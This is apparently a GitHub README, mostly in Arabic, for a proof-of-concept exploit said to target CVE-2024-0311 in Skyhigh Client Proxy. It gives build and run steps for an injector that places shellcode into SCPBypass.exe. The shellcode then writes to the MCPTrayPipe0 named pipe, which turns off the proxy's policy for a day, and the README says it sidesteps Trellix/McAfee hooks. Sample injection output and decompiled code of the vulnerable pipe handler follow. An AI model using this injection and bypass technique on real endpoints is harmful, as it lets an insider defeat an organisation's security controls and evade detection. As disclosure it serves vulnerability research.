
استغلال إثبات مفهوم لـ CVE-2024-0311 يتجاوز سياسة Skyhigh Client Proxy عبر حقن العمليات والتلاعب بالأنابيب المسماة، مع شيل كود مخصص لتجنب قيود AV/EDR.
This is a PoC for what I believe is CVE-2024-0311, SB10418.
يمكن لمستخدم داخلي خبيث تجاوز السياسة الحالية لـ Skyhigh Client Proxy بدون رمز إصدار صالح.
تفاصيل كثيرة. استغلال رائع. ¯\(ツ)/¯
يقوم إثبات المفهوم بالحقن في عملية SCPBypass.exe التي يديرها المستخدم والكتابة إلى الأنبوب SCPService.exe: \\.\pipe\MCPTrayPipe0.
الحقن ضروري لأنه، حتى إذا كان الأنبوب RW Everyone، يتم إجراء بعض الفحوصات على الملف التنفيذي الذي يكتب إلى الأنبوب بواسطة WGUARDNT (يتم التحقق من مسار الكاتب)، انظر أدناه.
يتم توفير مثال لـ shellcode يسمح بتنفيذ WriteFile على الأنبوب حتى إذا كان Trellix/McAfee يعملان ويقومان بالربط/الحظر لـ LoadLibrary.
قم بإنشاء (Build) في وضع Debug أو Release من Visual Studio
قم بإنشاء الشيل كود عبر:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
ثم استبدل الشيل كود في shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: لا تستدعي SetNamedPipeHandleState. يتحقق الشيل كود من المؤشر إلى SetNamedPipeHandleState قبل استدعائها..
* debugon: قم بتعيين نقطة توقف داخل الشيل كود (0xcc في الإزاحة 0) وقم بإنشاء خيط لربط الأنبوب المسمى. لا تستخدم في الإنتاج.
مثال على المخرجات:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
إذا سار كل شيء على ما يرام، يجب أن تجد في ملفات سجل SCP إدخالًا مشابهًا لهذا:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
سيكون هذا شرحًا موجزًا، لأنه لا أحد لديه وقت للكلمات.
أولاً، ما هو عميل وكيل Skyhigh؟
يساعد برنامج Skyhigh Security Client Proxy في حماية مستخدمي نقاط النهاية لديك من التهديدات الأمنية التي تنشأ عندما يصلون إلى الويب من داخل أو خارج شبكتك. يقوم برنامج العميل، المثبت على نقاط النهاية التي تعمل بنظام Microsoft Windows أو macOS، بإعادة توجيه طلبات الويب أو السماح لها بالاستمرار إلى وكيل للتصفية. يعمل برنامج الخادم على إحدى منصات الإدارة: Trellix ePO SaaS أو Trellix ePO Cloud.
هذا يجب أن يوضح الأمر.
بالنظر إلى المعلومات الواردة في التحذير، لا يوجد الكثير للمضي قدمًا.
بكل صراحة، كنت أبحث في الخدمة الثنائية لاكتشاف مشكلات يسهل استغلالها للتصعيد المحلي (LPE) عندما رأيت CreateNamedPipe وأصبحت مهتمًا.
إليك نسخة سريعة من الكود المفكك من Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
كما نرى، بمجرد استدعاء الدالة، يتم تهيئة هيكل DACL جديد وإنشاء أنبوب جديد \\.\pipe\MCPTrayPipe0 في وضع البايت.
ثم طالما أن المؤشر إلى هذا الأنبوب صالح، يقرأ البرنامج منه ويحاول تحويل البايتات المرسلة إليه من ASCII إلى int باستخدام atoi(out_lpBuffer).
تجاهل حقيقة أن هناك بدائل أفضل لـ atoi، بافتراض أن استدعاء atoi لم يفشل، يتم تمرير القيمة المحولة إلى FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
التي تستدعي SetWaitableTimer. ساعدت السلاسل هنا قليلاً في اكتشاف التدفق المطلوب.